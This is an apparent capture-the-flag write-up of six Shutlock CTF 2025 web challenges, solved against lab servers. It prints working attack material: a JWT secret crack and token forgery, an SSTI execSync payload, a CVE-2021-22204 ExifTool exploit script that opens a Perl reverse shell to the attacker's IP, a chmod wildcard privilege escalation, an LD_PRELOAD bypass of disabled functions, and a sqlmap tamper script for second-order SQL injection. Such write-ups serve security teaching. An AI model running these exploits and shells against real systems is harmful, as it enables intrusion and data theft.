Shutlock CTF 2025 - Web Challenges

Ice Cream

Description:
Welcome to the Ice Cream challenge!
Your goal is to uncover the secret ingredient behind "PAPI Glace", the most famous ice cream vendor in all of Cannes.
Solves: 103
Difficulty: Easy
The website is pretty basic and simply displays the ingredients used in the ice cream:

When clicking on an ingredient, two GET parameters appear in the URL, dir
and file
:

We also notice a JWT cookie:
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoic2ltcGxlLXV0aWxpc2F0ZXVyIn0.0jureYiNTgso9kOqPJoouKMhJmPg8fTZ1Lm0NPKIINM
The payload reveals that our role is simple-utilisateur (basic user):

So it might be worth forging arbitrary JWT tokens. To do that, we can try brute-forcing the JWT secret in case it’s weak:
john --wordlist=rockyou.txt jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
icecream (?)
Perfect we’ve recovered the JWT secret: icecream
. We can now forge arbitrary tokens. However, the challenge is that we don’t know the names of any higher-privileged roles. I tried the usual guesses like admin, super-admin, etc., but none of them worked.
So we’ll keep that aside for now and try to make progress elsewhere.
When playing with the dir
and file
GET parameters especially by passing arrays, we get errors that leak the web application’s file path:

Additionally, both dir
and file
parameters look like they’re being used for file reading, so we tried exploiting a path traversal vulnerability to read arbitrary files on the system but... skill issue:


Digging a bit deeper, we notice that if we leave the parameters empty, the app lists files from the current directory:

Which means we can also read them directly:

We also learn that we could have used the absolute path /var/www/html/
to list and read files.
From here, we dump and analyze several files:
index.php
<?php
include_once('admin.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ice Cream Ingredients</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="header-container">
<h1 class="main-title">PAPI GLACE, l'expert des glaces 3 boules</h1>
<h2 class="subtitle">Découvrez tous les ingrédients exceptionnels qui font de nous le vendeur de glace numéro 1 à Cannes avec notre iconique glace a 3 boules</h2>
</div>
<div class="layout">
<div class="container" id="ingredients">
<?php
if (isset($_GET['file']) && basename($_GET['file']) === 'auth.php') {
include(__DIR__ . '/auth.php');
exit;
}
$projectRoot = realpath(__DIR__);
$ingredientsDir = realpath(__DIR__ . '/ingredients');
$requestedDir = isset($_GET['dir']) ? $_GET['dir'] : 'ingredients';
$path = realpath($projectRoot . '/' . $requestedDir);
if ($path === false || (strpos($path, $projectRoot) !== 0)) {
die("Access denied.");
}
if (is_dir($path)) {
$displayPath = $path === $ingredientsDir ? '/' : str_replace($projectRoot, '', $path);
echo "<h1>Nos ingedients pour une glace comme fait notre papi: </h1>";
echo "<ul>";
$files = scandir($path);
foreach ($files as $file) {
if ($file === '.' || $file === '..' || $file[0] === '.') continue;
$filePath = $path . '/' . $file;
$fileUrl = $requestedDir . '/' . $file;
if (is_dir($filePath)) {
$url = "?dir=" . urlencode(trim($fileUrl, '/'));
echo "<li onclick=\"location.href='" . $url . "'\">" . htmlspecialchars($file) . "</li>";
} else {
$url = "?dir=" . urlencode($requestedDir) . "&file=" . urlencode($file);
echo "<li onclick=\"location.href='" . $url . "'\">" . htmlspecialchars($file) . "</li>";
}
}
echo "</ul>";
} else {
echo "<p>Dossier d'ingredients invalide.</p>";
}
?>
</div>
<div class="content">
<?php
if (isset($_GET['file'])) {
$requestedFile = basename($_GET['file']);
$filePath = $path . '/' . $requestedFile;
if (strpos(realpath($filePath), $projectRoot) === 0) {
$mimeType = mime_content_type($filePath);
if (strpos($mimeType, 'image') === 0) {
echo "<p>Image file</p>";
}
else if ($requestedFile === 'admin.txt') {
echo "<p>T'es pas admin je crois nan? </p>";
}else if ($requestedFile === 'role.txt') {
echo "<p>On se connait?</p>";
} else if ($requestedFile === 'flavors.db') {
echo "<p>Touche pas à ma db! </p>";
} else if ($requestedFile === 'jwt_secret.txt') {
echo "<p>Pas touche! </p>";
}
else {
echo "<h2>Notre " . htmlspecialchars($requestedFile) . ":</h2>";
echo "<div class='content-box'>" . htmlspecialchars(file_get_contents($filePath)) . "</div>";
}
} else {
echo "<p>Ingredient invalide.</p>";
}
}
?>
admin.php
<?php
$canExecute = false;
$secret = trim(file_get_contents('jwt_secret.txt'));
$adminToken = trim(file_get_contents('role.txt'));
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(strtr($data, '-_', '+/'));
}
function verify_jwt_hs256($jwt, $secret) {
$parts = explode('.', $jwt);
if (count($parts) !== 3) return false;
list($header_b64, $payload_b64, $sig_b64) = $parts;
$expected_sig = base64url_encode(hash_hmac('sha256', "$header_b64.$payload_b64", $secret, true));
if (!hash_equals($expected_sig, $sig_b64)) return false;
return json_decode(base64url_decode($payload_b64), true);
}
function is_admin($jwt, $secret, $adminRole) {
$payload = verify_jwt_hs256($jwt, $secret);
if (!$payload) return false;
return isset($payload['role']) && strtoupper(trim($payload['role'])) === strtoupper(trim($adminRole));
}
if (isset($_COOKIE['auth'])){
if (is_admin($_COOKIE['auth'], $secret, $adminToken)) {
$canExecute = true;
}
}
if (!$canExecute) {
$header = base64url_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = base64url_encode(json_encode(['role' => 'simple-utilisateur']));
$signature = base64url_encode(hash_hmac('sha256', "$header.$payload", $secret, true));
$jwt = "$header.$payload.$signature";
setcookie('auth', $jwt, time() + 3600, "/");
$_COOKIE['auth'] = $jwt;
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['debug'])) {
if (!$canExecute) {
echo "<p>Tu ne peux pas executer de commandes avec debug tant que tu n'es pas authentifié en tant qu'admin</p>";
exit;
}
$cmd = $_GET['debug'];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
exit;
}
?>
However, we’re unable to retrieve the following files:
role.txt
jwt_secret.txt
flavors.db
admin.txt
We also discover a file named auth.php
, but we can’t read its source code since it's included in the backend using include()
, not with file_get_contents()
.
By reading the admin.php
code, we understand that the goal is to forge an admin JWT token to access admin.php
, which then executes commands via shell_exec()
. The issue is: we still don’t know the correct role name.
Unintended path :
The server’s .htaccess
file was misconfigured, allowing direct access to role.txt
:

Intended path :
When visiting the auth.php
page, we get a message saying it's a dev feature made by an intern and shouldn’t be used in production. It also states:
"The table auth will allow us to query all user types for future authentication."
This suggests that the backend uses a database, and that our input is likely being used to query it. So we suspect an SQL injection.
If we add a single quote ('
) in the ingredient
parameter, we get an error that suggests we’ve broken the SQL query meaning there's likely an SQL injection:

Since we already know there’s a table named auth
, we’ll try to exploit this SQL injection to dump the admin role, which should allow us to escalate privileges and achieve RCE. By testing a UNION-based SQLi, we notice that the query only accepts a single column using two NULL
s throws an error:


Knowing the table is named auth
, we can guess that a column like name
exists and in fact, it does. This lets us dump all available role names:

Now that we have the actual admin role name, we can craft a valid JWT using the previously brute-forced secret (icecream
). Here’s a small Python script to do that:
import base64
import hmac
import hashlib
import json
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
secret = b'icecream'
header = {"alg": "HS256", "typ": "JWT"}
header_b64 = base64url_encode(json.dumps(header).encode())
payload = {"role": "PAPI-JE-SUIS-UN-ADMIN"}
payload_b64 = base64url_encode(json.dumps(payload).encode())
message = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(secret, message, hashlib.sha256).digest()
signature_b64 = base64url_encode(signature)
jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
print(jwt)
This generates the following JWT:
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJyb2xlIjogIlBBUEktSkUtU1VJUy1VTi1BRE1JTiJ9.EoXe8aAMjtu1gitwv1qWMRI2hszN_tdkZO5K9F-3Kes
We can now use this token to access admin.php
, and execute system commands via the debug
parameter:

The challenge description hinted at the objective:
Tu dois trouver l’ingrédient secret des glaces de "PAPI glace", le plus grand vendeur de glace de tout Cannes.
In the secrets
directory, we notice a hidden file named .recette_de_papi
:

Reading its contents gives us the flag:

Flag: SHLK{Ic3_Cr3am_L0v3r}
formAlity

Description:
Welcome to one of the official Festival de Cannes websites.
Here, you can participate in a movie-themed survey, or contact an administrator to generate a certificate of attendance.
Solves: 37
Difficulty: Easy
We land on a fairly basic homepage:

Filling out the form doesn’t seem to do anything useful. However, there's a login link in the top-left corner. This takes us to a login page where we can also register a new account:

After registering and logging in, we see we’re logged in as a regular user
:

When trying to access the /justificatif
page, we get an access denied error:

It looks like we need to escalate privileges.
Looking at the cookies, we notice a token
that resembles a JWT:

We try changing the algorithm to none
and set our role to admin
and surprisingly, the signature is not verified:

This unlocks a new feature that lets us generate attendance certificates by providing our name
and surname
as parameters:

After testing various inputs, we discover a Server-Side Template Injection (SSTI) in the name field:

Using {{constructor}}
returns function Object() { [native code] }
, which confirms the use of a JavaScript-based template engine:

From here, we can execute arbitrary code using the following payload:
{{constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}}

Finally, to retrieve the flag:
{{constructor.constructor("return process")().mainModule.require("child_process").execSync("cat flag.txt")}}

Flag: SHLK{JwT_bYpaS5_2_RCe}
Old School Markus

Description: A teammate shared his data visualization project for a game he really enjoys. The project doesn’t seem very secure and it’s very "Old School", maybe too much. Help me prove that it’s completely broken! Aide moi à lui prouver que rien ne va !
Solves: 23
Difficulty: Hard
We land on a site that retrieves info from a Minecraft server:

Looking at the HTML source, we notice a hidden debug parameter:
<form method="GET">
<input type="text" name="server" placeholder="IP du serveur (ex: play.monserveur.com)" required>
<input type="number" name="port" placeholder="Port du serveur (ex: 25565)" required>
<!-- <input type="hidden" name="debug" value="debug_for_admin_20983rujf2j1i2" > -->
<button type="submit">🎮 Obtenir les Infos</button>
</form>
To interact properly with the app, we’ll need to fake a Minecraft server. We use the following project:
We prepare a config.json
:
{
"port": 25565,
"player_slot": 1000000000000,
"rush_hour": 10000000000000,
"min_player": 10000000000000,
"random": 100000000000000
}
And a status_payload.json
:
{
"description": "Plonge dans dans un univers du cinema sur notre serveur Minecraft inspire du Festival de Cannes : tapis rouge, palmes et magie du grand ecran !",
"players": {
"sample": []
},
"version": {
"name": "1.7.10"
}
}
We also add a favicon.png
, then start the server with:
$ python3 main.py
It works, our fake server gets recognized by the web app:

After adding the debug
parameter in the URL (debug=debug_for_admin_20983rujf2j1i2
), we notice an interesting HTML comment:
<!-- Exiftool Version: 12.23, Taille du fichier: 2368 -->
This suggests that ExifTool is being used server-side on our favicon.
Researching ExifTool 12.23, we find it’s vulnerable to CVE-2021-22204.

A working PoC is available here: https://github.com/convisolabs/CVE-2021-22204-exiftool
We adapt the exploit.py
to generate a reverse shell payload using our IP and port, and embed it into a renamed version of favicon.png
(image.jpg
):
#!/bin/env python3
import base64
import subprocess
ip = '<REDACTED>'
port = '9090'
payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() )
payload = payload + b"'))};\")"
payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()
subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])
We replace the original favicon.png
with the malicious image.jpg
and restart our fake Minecraft server. Once the web app requests server info again, we get a reverse shell:
$ rlwrap nc -nvlp 9090
Listening on 0.0.0.0 9090
Connection received on 57.128.112.118 49542
/bin/sh: 0: can't access tty; job control turned off
$
However, we can’t read the flag it’s root-owned and has restrictive permissions:
---------- 1 root root 40 May 29 10:39 flag.txt
But there’s an interesting binary: fix_permissions
---s--x--x 1 root root 16184 May 29 10:39 fix_permissions
It’s SUID and executable by flaskuser
. When executed:
[*] Fixing permissions for files in /app/images
[*] Running as UID: 0
[*] Command: chmod 400 *
So it performs a wildcard chmod 400 *
potentially vulnerable to argument injection. We craft an exploit using --reference=...
, a feature from chmod
that applies permissions from a reference file.
For example, if I create a file named --help
, when chmod
is executed with a wildcard (*
), it will interpret --help
as a command-line argument not a filename. This kind of issue is known as argument injection, and similar vectors are documented on:
In our case, it doesn’t seem to be listed, but digging through the chmod man page reveals the --reference=RFILE
option. This allows you to apply the same permissions from a reference file to another file.
So if I create a file called poc with 777 permissions, any file targeted by chmod --reference=poc
will also end up with 777 permissions.
- Create a reference file with 777 permissions:
flaskuser@app:/app/images$ touch poc
flaskuser@app:/app/images$ chmod 777 poc
- Symlink
flag.txt
into the images directory:
flaskuser@app:/app/images$ ln -s ../flag.txt plzflag
- Create a
--reference=poc
file:
flaskuser@app:/app/images$ echo '' > --reference=poc
Problem: when we re-run fix_permissions
, we encounter the following error:
flaskuser@app:/app/$ ./fix_permissions
[*] Fixing permissions for files in /app/images
[*] Running as UID: 0
[*] Command: chmod 400 *
chmod: cannot access '400': No such file or directory
It first tries to change the permissions of a file named 400
, so to fix the error, we simply create an empty file called 400
:
flaskuser@app:/app/images$ touch 400
And now, when we run the binary again, the flag.txt
has the expected 777
permissions: :
flaskuser@app:/app/$ ./fix_permissions
[*] Fixing permissions for files in /app/images
[*] Running as UID: 0
[*] Command: chmod 400 *
flaskuser@app:/app/$ ls -la
...snip...
-rwxrwxrwx 1 root root 40 May 29 10:39 flag.txt
...snip...
And now, all that’s left is to retrieve the flag:
flaskuser@app:/app/$ cat flag.txt
SHLK{O!d_Sch0Ol_Guy_Ho1ds_Olds_V3rsions}
Flag: SHLK{O!d_Sch0Ol_Guy_Ho1ds_Olds_V3rsions}
Local Terror

Description: Hey cybersecurity auditor! For my next movie, "The Talking Camembert", I used an online tool called CinéScript to help draft the screenplay. But I think it got leaked the site might not be very secure. Take a look and tell me what you find.
Solves: 21
Difficulty: Medium
We land on a fairly basic website:

At first glance, it looks harmless but the "Le Logiciel" tab in the navbar is disabled. Inspecting the HTML confirms it:
<a class="nav-item nav-link disabled" href="/api">Le Logiciel</a>
Manually navigating to /api
reveals a hidden interface to input and render text using different formats:

For example:

If we try selecting the PHP format, we get an error telling us it’s blocked:

At the bottom of each rendered response, we see the phrase "contenu du fichier" (file content), which hints that the app may be loading files behind the scenes.
Trying a basic path traversal in the version parameter results in an error indicating an attack attempt:

However, passing an array in the version
parameter generates a PHP warning and leaks the full path of the application:

Knowing this, we try using the absolute path to access files directly and it works:

At the top of the file, we spot a comment referencing an older version:
<?php
// Work done based on previous version: old/index-old-do-not-use-please.php. The last code was vulnerable and so must bot be used in any circumstances.
...snip...
Accessing this old script reveals its full source code.
<?php
// Do not use this file anymore.
// First of all it is not working well. You need to reload the page to see the output.
// And it is vulnerable to attacks. It is not safe to use this file.
// Please delete and tell the prod tean to not push this file to the server.
// Thx, A.L
class Parser {
public $text;
public $debug;
public $version;
public $betterprint;
function __construct($text, $version, $debug = false, $betterprint = false) {
$this->debug = $debug;
$this->text = $text;
$this->version = $version;
$this->betterprint = $betterprint;
}
function evaluate(){
if ($this->debug && $this->version === 'v1.0') {
require_once($this);
}
echo $this;
}
function __toString() {
if ($this->betterprint) {
return $this->text;
}
return $this->version;
}
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
setcookie("parser", base64_encode(serialize(new Parser($_POST['inputText'],$_POST['version']))), time() + (86400 * 30), "/");
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Text Input and Output</title>
<style>
.container {
margin: 50px auto;
width: 70%;
text-align: center;
}
select, textarea, input[type="text"], .output {
width: 100%;
padding: 10px;
margin-top: 10px;
}
.select-container {
display: flex;
justify-content: space-between;
}
.select-container select {
flex: 1;
margin: 0 5px;
}
</style>
</head>
<body>
<div class="container">
<h2>Enter Your Text</h2>
<form method="post">
<textarea name="inputText" rows="10" id="input"></textarea>
<br>
<div class="select-container">
<select name="version" id="version">
<option value="v0.5">v0.5</option>
<option value="v0.1">v0.1</option>
</select>
</div>
<br>
<button type="submit" onclick="submitFormData()">Submit</button>
</form>
<?php
if(isset($_COOKIE["parser"]) && !empty($_COOKIE["parser"])){
echo "<div class='output'>";
echo "<h3>Your Text:</h3>";
echo "<p> ";
echo unserialize(base64_decode($_COOKIE['parser']))->evaluate();
echo " </p>";
echo "</div>";
}
?>
Most importantly, we find the following code:
if(isset($_COOKIE["parser"])){
echo unserialize(base64_decode($_COOKIE['parser']))->evaluate();
}
This is a classic PHP object deserialization sink via cookie.
The class being deserialized is:
<?php
class Parser {
public $text;
public $debug;
public $version;
public $betterprint;
function __construct($text, $version, $debug = false, $betterprint = false) {
$this->debug = $debug;
$this->text = $text;
$this->version = $version;
$this->betterprint = $betterprint;
}
function evaluate(){
if ($this->debug && $this->version === 'v1.0') {
require_once($this);
}
echo $this;
}
function __toString() {
if ($this->betterprint) {
return $this->text;
}
return $this->version;
}
}
The vulnerability lies in the evaluate()
method of the Parser
class:
function evaluate(){
if ($this->debug && $this->version === 'v1.0') {
require_once($this); // ← vulnerable sink
}
echo $this;
}
This method dynamically includes a file via require_once($this)
. Due to the class’s __toString()
method, this effectively becomes require_once($this->text)
when $betterprint
is true
.
What makes this powerful is that require_once()
accepts not only classic file paths, but also PHP stream wrappers, including php://filter
. These filters allow us to manipulate how PHP reads and interprets the stream and can be chained together to decode and execute arbitrary PHP code.
By abusing this behavior, we can encode a PHP payload (e.g., <?php phpinfo(); ?>
) and generate a long filter chain that, when passed to require_once
, decodes and executes it.
Synacktiv's excellent article, PHP Filters Chain: What Is It and How to Use It, gives a deep technical explanation of how this technique works, the encoding logic behind it, and how to craft valid filter chains.
To automate payload generation, we use their tool:
After generating a payload like php://filter/convert.iconv...
from the tool, we serialize it into our vulnerable object:
<?php
class Parser { /* ... */ }
$parser = new Parser('<generated_filter_chain>', 'v1.0', true, true);
echo base64_encode(serialize($parser));
This base64-encoded object is then inserted into the parser cookie.
Upon visiting the site, the payload is decoded and executed via require_once
, giving us remote code execution confirmed by triggering phpinfo()
:

At this point, the logical next step would be to attempt remote code execution using classic PHP functions like shell_exec
, system
, proc_open
, etc.
However, testing these functions from our payload fails and a quick look at the phpinfo()
output confirms why: All command execution and file listing functions are disabled:

So we’re left with two options:
- Find an RCE technique that doesn’t rely on disabled functions
- Use read-only functions (like
file_get_contents
, which is still enabled) to enumerate files and extract the flag
Alternative RCE Path (credit to Al-oxos)
Some players managed to achieve RCE despite the restrictions by abusing LD_PRELOAD
and mail()
as an execution vector:
<?php
$hook = '<hook_generated>';
$meterpreter = 'Iy9iaW4vYmFzaAoKZmluZCAvIC10eXBlIGYgLWluYW1lICcqZmxhZyonID4gL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==';
file_put_contents('/var/www/html/chankro3.so', base64_decode($hook));
file_put_contents('/var/www/html/acpid.socket', base64_decode($meterpreter));
putenv('CHANKRO=/var/www/html/acpid.socket');
putenv('LD_PRELOAD=/var/www/html/chankro3.so');
$m_res = mail('a','a','a','a');
if(!$m_res) { mb_send_mail('a','a','a','a'); };
?>
This technique leverages PHP behavior and preload injection to execute arbitrary code without using blacklisted functions directly.
Not being a PHP wizard, I turned to ChatGPT for help and after a few iterations, it gave me a clean and elegant one-liner using glob()
to list files:

It worked perfectly:

After decoding the filenames, we find a file that clearly looks like a flag:

And now, all that’s left is to retrieve the flag:

Flag: SHLK{fr0m_l177l3_vuln_70_70p_vuln}
Strange Query

Description : The Cannes Festival has launched a brand new platform for sharing movie reviews. The site looks quite recent chances are, it's full of vulnerabilities... No bots are involved in this challenge.
Solves : 9
Difficulty : Medium
The app allows users to create an account and interact with movie content, but certain features are restricted to verified profiles only:

Navigating to the profile settings reveals we’re not validated, and creating/commenting is locked :

By exploiting an IDOR, we can access our own public profile:

However, when we try to verify our account, we’re denied permission:

Inspecting the request, we notice a suspicious cookie named is_a_cool_admin
being sent along with the request:
POST /profile/11 HTTP/1.1
Host: 57.128.112.118:10106
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJ1c2VyX2lkIjoxMSwidXNlcm5hbWUiOiJwb2MifQ.aGRLIg.yCaQMVDA1ENIqVaSoGRrPde_6YY; is_a_cool_admin=no
Changing the value of this cookie from no
to yes
allows us to successfully verify our profile:

Now that we’re verified, we can create and comment on movies.
After digging around and testing several things, I wasn’t finding any exploitable vector. But since the challenge is named Strange Query, I had a hunch it might involve a SQL injection. I tested all the obvious inputs, but nothing worked.
Eventually, I noticed the platform supports mentioning users in the comments:

When a user is mentioned, their username and pronouns are displayed. This implies that at some point, the application queries the pronouns from the database. That raised a red flag it could be a second-order SQL injection.
To test this theory, I updated my profile and set the pronouns to a single quote. When tagging myself in a comment, boom 500 Internal Server Error.
Edit profile:

Mentioned in a comment:

At this point, you can either exploit the SQLi manually or automate it. Coming straight out of the Midnight Flag CTF 2025 finals, I didn’t have the energy to go manual so I opted to automate using sqlmap with a custom tamper script to handle the two-stage injection.
This script modifies the pronouns field via the profile update endpoint before the payload is executed in a comment:
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def edit_profile(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"session": "eyJ1c2VyX2lkIjoxMSwidXNlcm5hbWUiOiJwb2MifQ.aGRM5Q.Bh9ywfFb_T0KL6fCtkw_ip1Aq48"}
params = {"email":"poc@poc.poc", "pronouns":payload, "password":""}
url = "http://57.128.112.118:10106/profile"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
edit_profile(payload)
return payload
first.txt
(inject pronouns field):
POST /profile HTTP/1.1
Host: 57.128.112.118:10106
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJ1c2VyX2lkIjoxMSwidXNlcm5hbWUiOiJwb2MifQ.aGRM5Q.Bh9ywfFb_T0KL6fCtkw_ip1Aq48;
email=poc%40poc.poc&pronouns=She%2FHer&password=
second.txt
(trigger the injection via comment):
POST /movie/1 HTTP/1.1
Host: 57.128.112.118:10106
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJ1c2VyX2lkIjoxMSwidXNlcm5hbWUiOiJwb2MifQ.aGRM5Q.Bh9ywfFb_T0KL6fCtkw_ip1Aq48;
content=%40poc
Then we launch sqlmap:
sqlmap --tamper tamper.py -r first.txt -p pronouns --second-req second.txt
sqlmap confirms the injection and identifies the backend as PostgreSQL:
___
__H__
___ ___["]_____ ___ ___ {1.9.3.3#dev}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...snip...
---
Parameter: pronouns (POST)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: email=aaaa@aaaa.aaaa&pronouns=She/Her';SELECT PG_SLEEP(5)--&password=
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: email=aaaa@aaaa.aaaa&pronouns=She/Her' AND 9875=(SELECT 9875 FROM PG_SLEEP(5)) AND 'Koly'='Koly&password=
---
back-end DBMS: PostgreSQL
We enumerate the databases and find a single database: public
.
sqlmap --tamper tamper.py -r first.txt -p pronouns --second-req second.txt --dbms psql --dbs
___
__H__
___ ___[']_____ ___ ___ {1.9.3.3#dev}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...snip...
available databases [1]:
[*] public
Then list the tables and the secrets table stands out:
sqlmap --tamper tamper.py -r first.txt -p pronouns --second-req second.txt --dbms psql -D public --tables
___
__H__
___ ___[(]_____ ___ ___ {1.9.3.3#dev}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...snip...
Database: public
[4 tables]
+----------+
| comments |
| movies |
| secrets |
| users |
+----------+
And when we dump it who contain the flag::
sqlmap --tamper tamper.py -r first.txt -p pronouns --second-req second.txt --dbms psql -D public -T secrets --dump --no-cast
___
__H__
___ ___["]_____ ___ ___ {1.9.3.3#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...snip...
Database: public
Table: secrets
[3 entries]
+----+------------------------------------------------------+------------------------------------+
| id | content | classification |
+----+------------------------------------------------------+------------------------------------+
| 1 | this_is_the_flag | SHLK{S3CoNd_0RDeR_4rEN7_AwE50me_?} |
| 2 | Ce challenge est fait par un étudiant épitéen. | Secret |
| 3 | La solution du challenge se trouve dans cette table. | Très secret |
+----+------------------------------------------------------+------------------------------------+
Flag: SHLK{S3CoNd_0RDeR_4rEN7_AwE50me_?}
Nyx

Description : This film review site had to shut down its comment section due to abuse. But deep within, it holds a secret... Help me uncover it.
Solves : 6
Difficulty : Hard
We arrive on a movie review platform displaying public comments:

A key detail: the profile URL uses a UUIDv1 identifier:
4ba1db74-56c5-11f0-aacf-0242ac1049da
Even more interesting, the /status
page reveals information such as boot time, server time, and clock offset:

With this data, we can mount a UUIDv1 sandwich attack using the timestamp window between boot time and now, along with the MAC address recovered from our UUID, to enumerate potential UUIDs for other users.
Reminder: UUIDv1 is based on time, clock sequence, and MAC address:

To enumerate user profiles indexed by UUIDv1, we leveraged guidtool to generate UUIDs over a constrained time window precisely between the system’s boot start and end.
We used the following Python script to convert UNIX timestamps into ISO 8601 format, which guidtool
accepts:
#!/usr/bin/env python3
import sys
from datetime import datetime, timezone
ISO_FMT = "%Y-%m-%d %H:%M:%S"
def ts_to_date(ts_str: str):
ts = float(ts_str)
dt = datetime.fromtimestamp(ts, tz=timezone.utc)
print(dt.isoformat(sep=' ', timespec='microseconds'), "UTC")
def date_to_ts(date_str: str):
if "." in date_str:
base, frac = date_str.split(".", 1)
date_str = base
micro = int(frac.ljust(6, "0")[:6])
else:
micro = 0
dt = datetime.strptime(date_str, ISO_FMT).replace(
tzinfo=timezone.utc, microsecond=micro
)
print(f"{dt.timestamp():.6f}")
def main(arg: str):
if arg.replace(".", "", 1).isdigit():
ts_to_date(arg)
else:
date_to_ts(arg)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Timestamp or ISO Date")
sys.exit(1)
main(sys.argv[1])
We converted both the start and end of the boot window:
$ python3 unix_time.py '1751406509.527762'
2025-07-01 21:48:29.527762+00:00 UTC
$ python3 unix_time.py '1751406509.526187'
2025-07-01 21:48:29.526187+00:00 UTC
Using the base UUID from our own profile, we instructed guidtool to generate UUIDs over a window of time with a precision of 6 numbers:
guidtool 4ba1db74-56c5-11f0-aacf-0242ac1049da -t '2025-07-01 21:48:29' -p 10 > uuid_non_trie
We numbered the lines for easier indexing:
cat -n uuid_non_trie > uuid_non_trie_list
Then, we computed how many UUIDs were generated during the ~1.57ms boot span:
>>> 1751406509.526187+0.0015749931335449219
1751406509.527762
Calculate the number of uuid possible beetween the start and the end of the boot :
python3
Python 3.12.3 (main, Jun 18 2025, 17:59:45) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 527762-526187
1575
So we extracted only the UUIDs in that exact window and stripped line numbers:
cat uuid_non_trie_list | grep -i 526188 -A 1575 | awk -F ' ' '{print $2}' > uuid.txt
We noticed that the clock sequence in the boot UUIDs (-aacf-
) didn't match the one observed for valid users (-a9c0-
). We patched them accordingly:
sed -i 's/-aacf/-a9c0/g' uuid.txt
This final UUID list was ready for fuzzing user profiles:
ffuf -c -w uuid.txt -u "http://57.128.112.118:12640/user/FUZZ" -H 'Cookie: session=.eJwlykEKgCAURdG9vLGGmhY1aivfr4KQFYWjaO8ZDe7o3BuxUF4x49h5aXUtCOSA2fQC9YrnRiX-Q4NaP4L1pIMfrXQDO6l1UpKIk1TGGmKt7BQIzwtdHxu6.aGRfbw.9AyPy4A72YHA4cZmrJRLZWgeRPU'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://57.128.112.118:12640/user/FUZZ
:: Wordlist : FUZZ: /workspace/uuid.txt
:: Header : Cookie: session=.eJwlykEKgCAURdG9vLGGmhY1aivfr4KQFYWjaO8ZDe7o3BuxUF4x49h5aXUtCOSA2fQC9YrnRiX-Q4NaP4L1pIMfrXQDO6l1UpKIk1TGGmKt7BQIzwtdHxu6.aGRfbw.9AyPy4A72YHA4cZmrJRLZWgeRPU
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
2014beae-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1467, Words: 367, Lines: 42, Duration: 114ms]
2014e384-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1455, Words: 367, Lines: 42, Duration: 127ms]
2014e58c-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1446, Words: 367, Lines: 42, Duration: 120ms]
2014e6ea-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1458, Words: 367, Lines: 42, Duration: 129ms]
2014e820-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1449, Words: 367, Lines: 42, Duration: 116ms]
